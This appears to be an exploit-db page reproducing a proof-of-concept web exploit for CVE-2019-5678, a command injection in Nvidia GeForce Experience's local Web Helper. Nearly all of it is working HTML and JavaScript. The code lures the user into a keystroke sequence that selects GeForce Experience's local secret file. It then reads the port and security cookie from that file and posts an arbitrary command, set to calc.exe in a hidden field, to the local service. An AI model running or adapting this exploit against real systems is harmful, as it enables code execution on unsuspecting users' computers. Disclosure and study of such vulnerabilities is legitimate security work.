Nvidia GeForce Experience Web Helper – Command Injection

  • 作者： Rhino Security Labs
    日期： 2019-06-03
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/46972/
  • <!-- 
POC for CVE‑2019‑5678 Nvidia GeForce Experience OS command injection via a web browser
Author: David Yesland -- Rhino Security Labs
 -->
<html>
 <head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
 </head>
 <body>
<script>
 //Send request to local GFE server
function submitRequest(port,secret)
{
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "http:\/\/127.0.0.1:"+port+"\/gfeupdate\/autoGFEInstall\/", true);
 xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
 xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
 xhr.setRequestHeader("Content-Type", "text\/html");
xhr.setRequestHeader("X_LOCAL_SECURITY_COOKIE", secret);
 var body = "\""+document.getElementById("cmd").value+"\"";
var aBody = new Uint8Array(body.length);
 for (var i = 0; i < aBody.length; i++)
 aBody[i] = body.charCodeAt(i); 
 xhr.send(new Blob([aBody]));
}

$(document).on('change', '.file-upload-button', function(event) {
var reader = new FileReader();

reader.onload = function(event) {
var jsonObj = JSON.parse(event.target.result);
submitRequest(jsonObj.port,jsonObj.secret);
}

reader.readAsText(event.target.files[0]);
});

//Copy text from some text field
function myFunction() {
var copyText = document.getElementById("myInput");
copyText.select();
document.execCommand("copy");

}

//trigger the copy and file window on ctrl press
$(document).keydown(function(keyPressed) {
if (keyPressed.keyCode == 17) {
myFunction();document.getElementById('file-input').click();
}
});
</script>
<h2>
 Press CTRL+V+Enter
</h2>
<!--Command to run in a hidden input field-->
<input type="hidden" value="calc.exe" id="cmd" size="55">
<!--Hidden text box to copy text from-->
<div style="opacity: 0.0;">
 <input type="text" value="%LOCALAPPDATA%\NVIDIA Corporation\NvNode\nodejs.json"
id="myInput" size="1">
</div>
<!--file input-->
<input id="file-input" onchange="file_changed(this)" onclick="this.value=null;" accept="application/json" class='file-upload-button' type="file" name="name" style="display: none;" />
 </body>
</html>
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